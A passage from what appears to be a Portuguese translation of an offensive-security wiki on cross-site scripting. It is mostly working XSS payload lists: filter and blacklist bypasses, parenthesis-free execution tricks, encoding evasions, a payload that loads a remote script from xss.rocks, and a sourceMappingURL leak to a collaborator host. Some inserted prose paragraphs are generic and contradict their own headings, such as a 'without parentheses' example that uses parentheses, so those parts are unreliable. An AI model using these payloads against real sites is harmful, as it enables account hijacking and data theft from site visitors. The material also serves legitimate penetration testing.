A partir [**daqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que você possa **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de chave de acesso. Aqui está o vetor:
|
||
```markup
|
||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||
```
|
||
**A carga XSS será algo como isto: `" accesskey="x" onclick="alert(1)" x="`**
|
||
|
||
### Bypasses de Lista Negra
|
||
|
||
Vários truques usando diferentes codificações já foram expostos nesta seção. Volte para aprender onde você pode usar:
|
||
|
||
* **Codificação HTML (tags HTML)**
|
||
* **Codificação Unicode (pode ser código JS válido):** `\u0061lert(1)`
|
||
* **Codificação de URL**
|
||
* **Codificação Hexadecimal e Octal**
|
||
* **Codificação de dados**
|
||
|
||
**Bypasses para tags e atributos HTML**
|
||
|
||
Leia os [Bypasses de Lista Negra da seção anterior](./#bypasses-de-lista-negra).
|
||
|
||
**Bypasses para código JavaScript**
|
||
|
||
Leia os [bypasses de lista negra de JavaScript da seção seguinte](./#técnicas-de-bypass-de-lista-negra-de-javascript).
|
||
|
||
### CSS-Gadgets
|
||
|
||
Se você encontrou um **XSS em uma parte muito pequena** da web que requer algum tipo de interação (talvez um pequeno link no rodapé com um elemento onmouseover), você pode tentar **modificar o espaço que o elemento ocupa** para maximizar as probabilidades de o link ser acionado.
|
||
|
||
Por exemplo, você poderia adicionar algum estilo no elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||
|
||
Mas, se o WAF estiver filtrando o atributo de estilo, você pode usar CSS Styling Gadgets, então se você encontrar, por exemplo
|
||
|
||
> .test {display:block; color: blue; width: 100%\}
|
||
|
||
e
|
||
|
||
> \#someid {top: 0; font-family: Tahoma;}
|
||
|
||
Agora você pode modificar nosso link e trazê-lo para a forma
|
||
|
||
> \<a href=”” id=someid class=test onclick=alert() a=””>
|
||
|
||
Este truque foi retirado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||
|
||
## Injetando dentro do código JavaScript
|
||
|
||
Nesses casos, sua **entrada** será **refletida dentro do código JS** de um arquivo `.js` ou entre as tags `<script>...</script>` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`.
|
||
|
||
### Escapando a tag \<script>
|
||
|
||
Se o seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>`, você pode facilmente **escapar fechando a tag `<script>`**:
|
||
```javascript
|
||
</script><img src=1 onerror=alert(document.domain)>
|
||
```
|
||
Observe que neste exemplo **nem mesmo fechamos a aspa simples**, mas isso não é necessário, pois o **navegador primeiro realiza a análise HTML** para identificar os elementos da página, incluindo blocos de script, e só depois realiza a análise JavaScript para entender e executar os scripts incorporados.
|
||
|
||
### Dentro do código JS
|
||
|
||
Se `<>` estiverem sendo sanitizados, ainda é possível **escapar a string** onde sua entrada está sendo **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, pois se houver erros, o código JS não será executado:
|
||
```
|
||
'-alert(document.domain)-'
|
||
';alert(document.domain)//
|
||
\';alert(document.domain)//
|
||
```
|
||
### Template literals \`\`
|
||
|
||
Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como template literals, pois permite **incorporar expressões JS** usando a sintaxe `${ ... }`.\
|
||
Portanto, se você perceber que sua entrada está sendo **refletida** dentro de uma string JS que está usando backticks, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**:
|
||
|
||
Isso pode ser **abusado** usando:
|
||
```javascript
|
||
`${alert(1)}`
|
||
`${`${`${`${alert(1)}`}`}`}`
|
||
```
|
||
|
||
```````````````javascript
|
||
// This is valid JS code, because each time the function returns itself it's recalled with ``
|
||
function loop(){return loop}
|
||
loop``````````````
|
||
```````````````
|
||
### Execução de código codificado
|
||
|
||
Cross-site scripting (XSS) é uma vulnerabilidade comum em aplicações web que permite que um atacante injete código malicioso em páginas da web visualizadas por outros usuários. Uma forma de explorar essa vulnerabilidade é através da execução de código codificado.
|
||
|
||
#### Descrição
|
||
|
||
A execução de código codificado ocorre quando um atacante consegue injetar código malicioso em uma página da web que será executado pelo navegador do usuário. Isso pode ser feito através da inserção de código em campos de entrada, como formulários, URLs ou até mesmo em campos de comentários.
|
||
|
||
O código malicioso é geralmente codificado para evitar a detecção pelos filtros de segurança da aplicação. Isso pode ser feito usando técnicas como a codificação de caracteres especiais, a utilização de entidades HTML ou a codificação em base64.
|
||
|
||
Quando o código malicioso é executado pelo navegador do usuário, ele pode realizar várias ações prejudiciais, como roubar informações confidenciais, redirecionar o usuário para sites maliciosos, modificar o conteúdo da página ou até mesmo controlar completamente o navegador do usuário.
|
||
|
||
#### Exemplo
|
||
|
||
Considere um campo de pesquisa em um site que não faz a devida validação dos dados inseridos pelo usuário. Um atacante pode inserir o seguinte código malicioso no campo de pesquisa:
|
||
|
||
```html
|
||
<script>alert('Seu computador foi comprometido!');</script>
|
||
```
|
||
|
||
Quando um usuário realiza uma pesquisa e visualiza os resultados, o código malicioso será executado pelo navegador do usuário, exibindo uma mensagem de alerta enganosa.
|
||
|
||
#### Prevenção
|
||
|
||
Para prevenir a execução de código codificado, é importante implementar práticas de segurança adequadas em aplicações web. Algumas medidas de prevenção incluem:
|
||
|
||
- Validar e sanitizar todos os dados de entrada antes de exibi-los em páginas da web.
|
||
- Utilizar mecanismos de escape adequados para caracteres especiais.
|
||
- Implementar listas de permissões para permitir apenas determinados tipos de entrada.
|
||
- Utilizar bibliotecas e frameworks seguros que possuam recursos de segurança embutidos.
|
||
|
||
Além disso, é importante manter-se atualizado sobre as últimas vulnerabilidades e técnicas de exploração, a fim de proteger efetivamente as aplicações web contra ataques de XSS.
|
||
```markup
|
||
<script>\u0061lert(1)</script>
|
||
<svg><script>alert('1')
|
||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||
```
|
||
### Execução de JS com Codificação Unicode
|
||
|
||
O Unicode Encode JS execution é uma técnica de ataque que explora vulnerabilidades de Cross-Site Scripting (XSS) em aplicações web. Nesse tipo de ataque, o invasor utiliza a codificação Unicode para injetar e executar código JavaScript malicioso no navegador do usuário.
|
||
|
||
#### Como funciona
|
||
|
||
1. O invasor identifica uma vulnerabilidade de XSS em uma aplicação web.
|
||
2. O invasor utiliza a codificação Unicode para escapar dos filtros de entrada e injetar código JavaScript malicioso.
|
||
3. O código JavaScript malicioso é executado no navegador do usuário, permitindo que o invasor realize ações indesejadas, como roubo de informações confidenciais, redirecionamento para sites maliciosos ou manipulação do conteúdo da página.
|
||
|
||
#### Exemplo de ataque
|
||
|
||
Suponha que uma aplicação web tenha uma vulnerabilidade de XSS em um campo de entrada de texto. O invasor pode explorar essa vulnerabilidade inserindo o seguinte código JavaScript malicioso:
|
||
|
||
```html
|
||
<script>
|
||
var payload = "\u003cimg src=x onerror=alert('XSS')\u003e";
|
||
document.getElementById("inputField").value = payload;
|
||
</script>
|
||
```
|
||
|
||
Nesse exemplo, o código JavaScript malicioso é codificado usando a notação Unicode `\uXXXX`, onde `XXXX` representa o código Unicode do caractere. O código injetado cria uma imagem com um evento `onerror` que exibe um alerta com a mensagem "XSS". Quando o usuário visualiza a página e o campo de entrada é renderizado, o código JavaScript é executado, resultando na exibição do alerta.
|
||
|
||
#### Prevenção
|
||
|
||
Para prevenir ataques de Unicode Encode JS execution, é importante implementar práticas de segurança adequadas, como:
|
||
|
||
- Validar e sanitizar todas as entradas de usuário.
|
||
- Utilizar mecanismos de escape apropriados para evitar a execução de código JavaScript malicioso.
|
||
- Implementar políticas de segurança de conteúdo (CSP) para restringir o carregamento de scripts de fontes não confiáveis.
|
||
- Manter a aplicação web atualizada com as últimas correções de segurança.
|
||
|
||
#### Conclusão
|
||
|
||
A técnica de Unicode Encode JS execution é uma forma comum de explorar vulnerabilidades de XSS em aplicações web. Compreender como esse tipo de ataque funciona e adotar medidas preventivas adequadas é essencial para proteger a segurança das aplicações e dos usuários.
|
||
```javascript
|
||
\u{61}lert(1)
|
||
\u0061lert(1)
|
||
\u{0061}lert(1)
|
||
```
|
||
### Técnicas de bypass de listas negras de JavaScript
|
||
|
||
**Cadeias de caracteres**
|
||
```javascript
|
||
"thisisastring"
|
||
'thisisastrig'
|
||
`thisisastring`
|
||
/thisisastring/ == "/thisisastring/"
|
||
/thisisastring/.source == "thisisastring"
|
||
"\h\e\l\l\o"
|
||
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
|
||
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
|
||
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
|
||
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
|
||
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
|
||
"\a\l\ert\(1\)"
|
||
atob("dGhpc2lzYXN0cmluZw==")
|
||
eval(8680439..toString(30))(983801..toString(36))
|
||
```
|
||
**Escapes especiais**
|
||
```javascript
|
||
'\b' //backspace
|
||
'\f' //form feed
|
||
'\n' //new line
|
||
'\r' //carriage return
|
||
'\t' //tab
|
||
'\b' //backspace
|
||
'\f' //form feed
|
||
'\n' //new line
|
||
'\r' //carriage return
|
||
'\t' //tab
|
||
// Any other char escaped is just itself
|
||
```
|
||
**Substituições de espaço dentro do código JS**
|
||
|
||
Quando exploramos vulnerabilidades de XSS (Cross-Site Scripting), muitas vezes nos deparamos com filtros que tentam bloquear a injeção de código malicioso. Um desses filtros comuns é a substituição de espaços em branco dentro do código JavaScript.
|
||
|
||
Essa técnica de substituição de espaço é usada para contornar os filtros de XSS que procuram por padrões específicos de código malicioso. Ao substituir os espaços em branco por caracteres equivalentes, podemos evitar a detecção do código malicioso pelos filtros.
|
||
|
||
Existem várias formas de realizar essa substituição de espaço, como:
|
||
|
||
- Usar caracteres de espaço alternativos, como o caractere de espaço em branco não quebrável (` `) ou o caractere de espaço em branco em largura total (`\u200b`).
|
||
- Utilizar caracteres de escape, como o caractere de barra invertida (`\`) seguido por um espaço em branco (`\ `) ou o caractere de barra invertida seguido por um caractere de nova linha (`\n`).
|
||
- Utilizar codificação hexadecimal ou unicode para representar o espaço em branco, como `%20` ou `\x20`.
|
||
|
||
Ao aplicar essas substituições de espaço dentro do código JavaScript injetado, podemos contornar os filtros de XSS e executar nosso código malicioso no contexto da página vulnerável.
|
||
|
||
É importante lembrar que a substituição de espaço é apenas uma técnica para contornar filtros de XSS e não deve ser a única medida de segurança adotada. É fundamental implementar outras práticas recomendadas de segurança, como a validação e sanitização adequada dos dados de entrada, para garantir a proteção efetiva contra ataques de XSS.
|
||
```javascript
|
||
<TAB>
|
||
/**/
|
||
```
|
||
**Comentários em JavaScript (do truque de** [**Comentários em JavaScript**](./#comentarios-em-javascript) **)**
|
||
```javascript
|
||
//This is a 1 line comment
|
||
/* This is a multiline comment*/
|
||
<!--This is a 1line comment
|
||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||
```
|
||
**Quebras de linha em JavaScript (do truque de** [**quebras de linha em JavaScript**](./#javascript-new-lines)**)**
|
||
```javascript
|
||
//Javascript interpret as new line these chars:
|
||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
|
||
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
|
||
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
||
```
|
||
**Espaços em branco do JavaScript**
|
||
|
||
Os espaços em branco no JavaScript referem-se a qualquer tipo de espaço em branco, como espaços, tabulações e quebras de linha, presentes em um código JavaScript. Embora os espaços em branco sejam normalmente ignorados pelo interpretador JavaScript, eles podem desempenhar um papel importante na legibilidade e organização do código.
|
||
|
||
No entanto, em certos casos, os espaços em branco podem ser explorados por hackers para realizar ataques de Cross-Site Scripting (XSS). Isso ocorre quando um invasor insere código malicioso em um campo de entrada que não é devidamente validado ou sanitizado. O código malicioso é então executado no navegador do usuário, permitindo que o invasor roube informações confidenciais, como senhas ou cookies de autenticação.
|
||
|
||
Para evitar ataques de XSS baseados em espaços em branco, é importante seguir as melhores práticas de segurança, como:
|
||
|
||
- Validar e sanitizar todas as entradas do usuário antes de exibi-las no navegador.
|
||
- Utilizar bibliotecas ou frameworks que ofereçam recursos de escape automático para evitar a execução de código malicioso.
|
||
- Implementar uma política de segurança de conteúdo (Content Security Policy) para restringir o carregamento de scripts de fontes não confiáveis.
|
||
- Manter-se atualizado sobre as últimas vulnerabilidades e correções de segurança relacionadas a espaços em branco e XSS.
|
||
|
||
Ao adotar essas medidas de segurança, é possível reduzir significativamente o risco de ataques de XSS baseados em espaços em branco e proteger os aplicativos web contra possíveis explorações.
|
||
```javascript
|
||
log=[];
|
||
function funct(){}
|
||
for(let i=0;i<=0x10ffff;i++){
|
||
try{
|
||
eval(`funct${String.fromCodePoint(i)}()`);
|
||
log.push(i);
|
||
}
|
||
catch(e){}
|
||
}
|
||
console.log(log)
|
||
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
|
||
|
||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||
<img/src/onerror=alert(1)>
|
||
```
|
||
**Javascript dentro de um comentário**
|
||
|
||
Quando se trata de ataques de Cross-Site Scripting (XSS), é importante estar ciente de que o código JavaScript pode ser injetado não apenas em campos de entrada de dados, mas também em comentários. Isso ocorre porque os comentários em HTML não são processados pelo navegador e, portanto, o código JavaScript dentro deles não é executado.
|
||
|
||
No entanto, é importante ressaltar que, embora o código JavaScript dentro de um comentário não seja executado pelo navegador, ele ainda pode ser visível para os usuários que visualizam o código-fonte da página. Portanto, é fundamental garantir que nenhum código malicioso seja inserido em comentários, pois isso pode expor informações sensíveis ou comprometer a segurança do aplicativo.
|
||
|
||
Ao realizar testes de penetração em um aplicativo da web, é recomendável verificar se há vulnerabilidades de XSS em campos de entrada de dados, bem como em áreas onde os usuários podem inserir comentários. Isso ajudará a garantir que o aplicativo esteja protegido contra ataques de XSS em todas as áreas possíveis.
|
||
```javascript
|
||
//If you can only inject inside a JS comment, you can still leak something
|
||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||
|
||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||
```
|
||
**JavaScript sem parênteses**
|
||
|
||
O XSS (Cross-Site Scripting) é uma vulnerabilidade comum em aplicações web que permite que um invasor injete código JavaScript malicioso em páginas da web visualizadas por outros usuários. Uma técnica comum usada em ataques XSS é explorar a capacidade do JavaScript de ser executado sem a necessidade de parênteses.
|
||
|
||
Quando o código JavaScript é inserido em um contexto onde os parênteses não são necessários, o invasor pode explorar essa vulnerabilidade para injetar código malicioso. Por exemplo, em um campo de entrada de texto, o invasor pode inserir o seguinte código:
|
||
|
||
```javascript
|
||
<script>
|
||
alert('XSS executado!');
|
||
</script>
|
||
```
|
||
|
||
Quando a página é carregada e o código é executado, uma caixa de diálogo de alerta será exibida com a mensagem "XSS executado!".
|
||
|
||
Para evitar ataques XSS, é importante validar e sanitizar todas as entradas de usuário e escapar corretamente os caracteres especiais. Além disso, é recomendável implementar uma política de segurança de conteúdo (CSP) para restringir a execução de scripts não confiáveis.
|
||
|
||
É fundamental que os desenvolvedores estejam cientes dessa técnica de XSS e tomem as medidas adequadas para proteger suas aplicações web contra esse tipo de ataque.
|
||
````javascript
|
||
// By setting location
|
||
window.location='javascript:alert\x281\x29'
|
||
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
|
||
// or any DOMXSS sink such as location=name
|
||
|
||
// Backtips
|
||
// Backtips pass the string as an array of lenght 1
|
||
alert`1`
|
||
|
||
// Backtips + Tagged Templates + call/apply
|
||
eval`alert\x281\x29` // This won't work as it will just return the passed array
|
||
setTimeout`alert\x281\x29`
|
||
eval.call`${'alert\x281\x29'}`
|
||
eval.apply`${[`alert\x281\x29`]}`
|
||
[].sort.call`${alert}1337`
|
||
[].map.call`${eval}\\u{61}lert\x281337\x29`
|
||
|
||
// To pass several arguments you can use
|
||
function btt(){
|
||
console.log(arguments);
|
||
}
|
||
btt`${'arg1'}${'arg2'}${'arg3'}`
|
||
|
||
//It's possible to construct a function and call it
|
||
Function`x${'alert(1337)'}x```
|
||
|
||
// .replace can use regexes and call a function if something is found
|
||
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
|
||
"a".replace.call`1${/./}${alert}`
|
||
// This happened in the previous example
|
||
// Change "this" value of call to "1,"
|
||
// match anything with regex /./
|
||
// call alert with "1"
|
||
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
|
||
|
||
// Using Reflect.apply to call any function with any argumnets
|
||
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
|
||
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
|
||
// Using Reflect.set to call set any value to a variable
|
||
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
|
||
|
||
|
||
|
||
// valueOf, toString
|
||
// These operations are called when the object is used as a primitive
|
||
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
|
||
valueOf=alert;window+''
|
||
toString=alert;window+''
|
||
|
||
|
||
// Error handler
|
||
window.onerror=eval;throw"=alert\x281\x29";
|
||
onerror=eval;throw"=alert\x281\x29";
|
||
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
|
||
{onerror=eval}throw"=alert(1)" //No ";"
|
||
onerror=alert //No ";" using new line
|
||
throw 1337
|
||
// Error handler + Special unicode separators
|
||
eval("onerror=\u2028alert\u2029throw 1337");
|
||
// Error handler + Comma separator
|
||
// The comma separator goes through the list and returns only the last element
|
||
var a = (1,2,3,4,5,6) // a = 6
|
||
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
|
||
throw onerror=alert,1,1,1,1,1,1337
|
||
// optional exception variables inside a catch clause.
|
||
try{throw onerror=alert}catch{throw 1}
|
||
|
||
|
||
// Has instance symbol
|
||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||
````
|
||
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||
|
||
**Chamada de função arbitrária (alerta)**
|
||
````javascript
|
||
//Eval like functions
|
||
eval('ale'+'rt(1)')
|
||
setTimeout('ale'+'rt(2)');
|
||
setInterval('ale'+'rt(10)');
|
||
Function('ale'+'rt(10)')``;
|
||
[].constructor.constructor("alert(document.domain)")``
|
||
[]["constructor"]["constructor"]`$${alert()}```
|
||
import('data:text/javascript,alert(1)')
|
||
|
||
//General function executions
|
||
`` //Can be use as parenthesis
|
||
alert`document.cookie`
|
||
alert(document['cookie'])
|
||
with(document)alert(cookie)
|
||
(alert)(1)
|
||
(alert(1))in"."
|
||
a=alert,a(1)
|
||
[1].find(alert)
|
||
window['alert'](0)
|
||
parent['alert'](1)
|
||
self['alert'](2)
|
||
top['alert'](3)
|
||
this['alert'](4)
|
||
frames['alert'](5)
|
||
content['alert'](6)
|
||
[7].map(alert)
|
||
[8].find(alert)
|
||
[9].every(alert)
|
||
[10].filter(alert)
|
||
[11].findIndex(alert)
|
||
[12].forEach(alert);
|
||
top[/al/.source+/ert/.source](1)
|
||
top[8680439..toString(30)](1)
|
||
Function("ale"+"rt(1)")();
|
||
new Function`al\ert\`6\``;
|
||
Set.constructor('ale'+'rt(13)')();
|
||
Set.constructor`al\x65rt\x2814\x29```;
|
||
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
|
||
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
|
||
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
|
||
globalThis[`al`+/ert/.source]`1`
|
||
this[`al`+/ert/.source]`1`
|
||
[alert][0].call(this,1)
|
||
window['a'+'l'+'e'+'r'+'t']()
|
||
window['a'+'l'+'e'+'r'+'t'].call(this,1)
|
||
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
|
||
(1,2,3,4,5,6,7,8,alert)(1)
|
||
x=alert,x(1)
|
||
[1].find(alert)
|
||
top["al"+"ert"](1)
|
||
top[/al/.source+/ert/.source](1)
|
||
al\u0065rt(1)
|
||
al\u0065rt`1`
|
||
top['al\145rt'](1)
|
||
top['al\x65rt'](1)
|
||
top[8680439..toString(30)](1)
|
||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||
````
|
||
## **Vulnerabilidades DOM**
|
||
|
||
Existe **código JS** que está usando **dados controlados por um atacante de forma insegura**, como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.\
|
||
**Devido à extensão da explicação das** [**vulnerabilidades DOM, ela foi movida para esta página**](dom-xss.md)**:**
|
||
|
||
{% content-ref url="dom-xss.md" %}
|
||
[dom-xss.md](dom-xss.md)
|
||
{% endcontent-ref %}
|
||
|
||
Lá você encontrará uma explicação detalhada sobre o que são as **vulnerabilidades DOM, como elas são provocadas e como explorá-las**.\
|
||
Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**ataques de Clobbering DOM**](dom-xss.md#dom-clobbering).
|
||
|
||
## Outros Bypasses
|
||
|
||
### Unicode Normalizado
|
||
|
||
Você pode verificar se os **valores refletidos** estão sendo **normalizados em unicode** no servidor (ou no lado do cliente) e abusar dessa funcionalidade para contornar as proteções. [**Encontre um exemplo aqui**](../unicode-injection/#xss-cross-site-scripting).
|
||
|
||
### Bypass do sinalizador PHP FILTER\_VALIDATE\_EMAIL
|
||
```javascript
|
||
"><svg/onload=confirm(1)>"@x.y
|
||
```
|
||
### Bypass do Ruby-On-Rails
|
||
|
||
Devido à **atribuição em massa do RoR**, aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
|
||
Por exemplo, no formulário ([neste relatório](https://hackerone.com/reports/709336)), se você enviar o payload:
|
||
```
|
||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||
```
|
||
O par "Key","Value" será ecoado de volta assim:
|
||
```
|
||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||
```
|
||
Em seguida, o atributo onfocus será inserido:
|
||
|
||
![](<../../.gitbook/assets/image (107).png>)
|
||
|
||
Ocorre um XSS.
|
||
|
||
### Combinações especiais
|
||
```markup
|
||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||
<input type=image src onerror="prompt(1)">
|
||
<svg onload=alert(1)//
|
||
<img src="/" =_=" title="onerror='prompt(1)'">
|
||
<img src='1' onerror='alert(0)' <
|
||
<script x> alert(1) </script 1=2
|
||
<script x>alert('XSS')<script y>
|
||
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
|
||
<svg////////onload=alert(1)>
|
||
<svg id=x;onload=alert(1)>
|
||
<svg id=`x`onload=alert(1)>
|
||
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
|
||
<script>$=1,alert($)</script>
|
||
<script ~~~>confirm(1)</script ~~~>
|
||
<script>$=1,\u0061lert($)</script>
|
||
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
|
||
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
|
||
</style></scRipt><scRipt>alert(1)</scRipt>
|
||
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
|
||
<svg><x><script>alert('1')</x>
|
||
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
|
||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
|
||
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
|
||
(function(x){this[x+`ert`](1)})`al`
|
||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||
document['default'+'View'][`\u0061lert`](3)
|
||
```
|
||
### XSS com injeção de cabeçalho em uma resposta 302
|
||
|
||
Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar fazer com que o navegador execute JavaScript arbitrário. Isso não é trivial, pois os navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, portanto, apenas uma carga útil de script entre sites é inútil.
|
||
|
||
Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute a carga útil de XSS dentro do corpo.\
|
||
Protocolos conhecidos anteriormente: `mailto://`, `//x:1/`, `ws://`, `wss://`, cabeçalho Location vazio, `resource://`.
|
||
|
||
### Apenas letras, números e pontos
|
||
|
||
Se você puder indicar o **callback** que o JavaScript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](./#javascript-function) para descobrir como abusar desse comportamento.
|
||
|
||
### Tipos de conteúdo `<script>` válidos para XSS
|
||
|
||
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Se você tentar carregar um script com um **tipo de conteúdo** como `application/octet-stream`, o Chrome lançará o seguinte erro:
|
||
|
||
> Recusou-se a executar o script de '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque seu tipo MIME ('application/octet-stream') não é executável e a verificação estrita do tipo MIME está habilitada.
|
||
|
||
Os únicos **tipos de conteúdo** que o Chrome suportará para executar um script carregado são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||
```c
|
||
const char* const kSupportedJavascriptTypes[] = {
|
||
"application/ecmascript",
|
||
"application/javascript",
|
||
"application/x-ecmascript",
|
||
"application/x-javascript",
|
||
"text/ecmascript",
|
||
"text/javascript",
|
||
"text/javascript1.0",
|
||
"text/javascript1.1",
|
||
"text/javascript1.2",
|
||
"text/javascript1.3",
|
||
"text/javascript1.4",
|
||
"text/javascript1.5",
|
||
"text/jscript",
|
||
"text/livescript",
|
||
"text/x-ecmascript",
|
||
"text/x-javascript",
|
||
};
|
||
|
||
```
|
||
### Tipos de Scripts para XSS
|
||
|
||
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Então, quais tipos podem ser indicados para carregar um script?
|
||
```html
|
||
<script type="???"></script>
|
||
```
|
||
A resposta é:
|
||
|
||
* **módulo** (padrão, nada a explicar)
|
||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS...) em um arquivo **`.wbn`**.
|
||
```html
|
||
<script type="webbundle">
|
||
{
|
||
"source": "https://example.com/dir/subresources.wbn",
|
||
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
|
||
}
|
||
</script>
|
||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||
```
|
||
* [**importmap**](https://github.com/WICG/import-maps)**:** Permite melhorar a sintaxe de importação
|
||
```html
|
||
<script type="importmap">
|
||
{
|
||
"imports": {
|
||
"moment": "/node_modules/moment/src/moment.js",
|
||
"lodash": "/node_modules/lodash-es/lodash.js"
|
||
}
|
||
}
|
||
</script>
|
||
|
||
<!-- With importmap you can do the following -->
|
||
<script>
|
||
import moment from "moment";
|
||
import { partition } from "lodash";
|
||
</script>
|
||
```
|
||
Esse comportamento foi utilizado neste [**relatório**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval e abusá-la, podendo desencadear XSS.
|
||
|
||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Essa funcionalidade é principalmente para resolver alguns problemas causados pelo pré-renderização. Funciona da seguinte forma:
|
||
```html
|
||
<script type="speculationrules">
|
||
{
|
||
"prerender": [
|
||
{"source": "list",
|
||
"urls": ["/page/2"],
|
||
"score": 0.5},
|
||
{"source": "document",
|
||
"if_href_matches": ["https://*.wikipedia.org/**"],
|
||
"if_not_selector_matches": [".restricted-section *"],
|
||
"score": 0.1}
|
||
]
|
||
}
|
||
</script>
|
||
```
|
||
### Tipos de Conteúdo da Web para XSS
|
||
|
||
